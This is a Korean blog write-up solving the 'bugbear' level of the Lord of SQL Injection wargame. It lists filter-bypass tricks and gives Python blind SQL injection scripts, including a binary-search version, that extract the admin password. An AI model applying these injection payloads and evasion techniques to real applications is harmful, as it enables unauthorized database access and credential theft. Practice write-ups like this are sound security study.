LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이전처럼 필터링이 걸려있는 문제는 맞는데,
필터링 문자열이 한 2배로 늘어난거 같은데요..?
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
이번에도 pw를 알아내야하는 문제로 이전 문제들과 동일하게
Blind Sql Injection을 시도하면 될 것 같다.
문제는 이전과 다르게 싱글쿼터, substr, ascii, =, or, and, 공백, like, 0x를
필터링 하는 것을 확인할 수 있는데 이전 문제와 동일한 페이로드에서
앞서 필터링 걸려있는 문자열들만 조금 수정해서 페이로드를 수정하면 될 것 같다.
1) 싱글쿼터는 더블쿼터로 우회한다.
2) substr은 mid 함수를 사용한다.
3) ascii는 ord 또는 hex 함수를 사용한다.
4) =과 like는 in("admin") 또는 instr(id, "admin") 처럼 우회한다.
5) or과 and는 각각 ||, && 연산자로 우회한다.
6) 공백은 %09, %0a, /**/, +, %0b 등 앞선 문제 풀이처럼 여러 방법으로 우회한다.
우회를 시도한 결과로 admin을 잘 반겨준다.
그렇다면 해당 페이로드로 동일하게 변경하여
기존 스크립트를 수정하고 실행시켜 패스워드 길이를 알아내보자.
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\tlength(pw)\tin({})\t#".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
기존 스크립트에서 %09에 해당하는 \t를 작성해주고,
위에 설명한 대로 페이로드를 수정하여 보내면
패스워드 길이가 8자인 것을 확인할 수 있다.
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\tlength(pw)\tin({})\t#".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
for j in range(30, 123):
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\thex(mid(pw,\t{},\t1))\tin({})\t#".format(i, j) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(int(str(j), 16))
print("패스워드:", password)
if len(password) == 8:
break
pw_crack()
여기서 주의해야 할 것은 ord는 0x로 넘어가기 때문에 필터링에 걸리므로
hex 함수를 사용해야하는데, hex로 chr 형으로 형변환할 때 10진수에 해당하는
문자가 출력되기 때문에 특수문자부터 이상하게 값이 출력되게 된다.
그러므로 int와 str 함수를 통해 문자열로 만들어준 값을 16진수로 형변환하고,
변환한 정수를 chr 함수에 담아주어 출력하도록 한다.
풀이를 성공적으로 마칠 수 있다.
이 쯤에서 드는 의문은 파이썬으로 짠 스크립트를 조금 더 효율적으로
짜서 속도를 빠르게 할 수 없을까?에 대한 내용을 이전 문제들을 풀면서도
생각하게 되었다. 그래서 이분 탐색을 해당 스크립트에 적용하면 좋을 것 같다는
생각을 하게 되었고, 이중 for문을 이분 탐색으로 변경해보자.
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\tlength(pw)\tin({})\t#".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\thex(mid(pw,\t{},\t1))\tin({})\t#".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(int(str(mid), 16))
print("패스워드:", password)
break
else:
params = { "pw" : "123",
"no" : "\"\"\t||\tid\tin(\"admin\")\t&&\thex(mid(pw,\t{},\t1))\t>\t{}\t#".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
범위를 1부터 127까지 넓혔음에도 이전 스크립트보다
확실히 빨리진 속도 체감을 진행할 수 있다.
이분탐색의 내용은 https://brownbears.tistory.com/565 해당 블로그를 보고 공부했다.
처음과 끝의 값을 받고, 중간 값을 미리 선언함으로써
찾은 중간 값 mid와 동일하면 password에 변환된 문자를 출력하고,
mid와 동일하지 않다면 해당 값보다 큰 값을 파라미터로 보내서
해당하는 mid 값을 찾을 때까지 이분 탐색을 진행한다고 설명할 수 있다.
앞으로는 이 스크립트를 활용해서 문제를 풀어보도록 하자.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] assassin (0) | 2022.12.23 |
---|---|
[LOS] giant (0) | 2022.12.23 |
[LOS] darknight (0) | 2022.12.22 |
[LOS] golem (0) | 2022.12.22 |
[LOS] skeleton (0) | 2022.12.21 |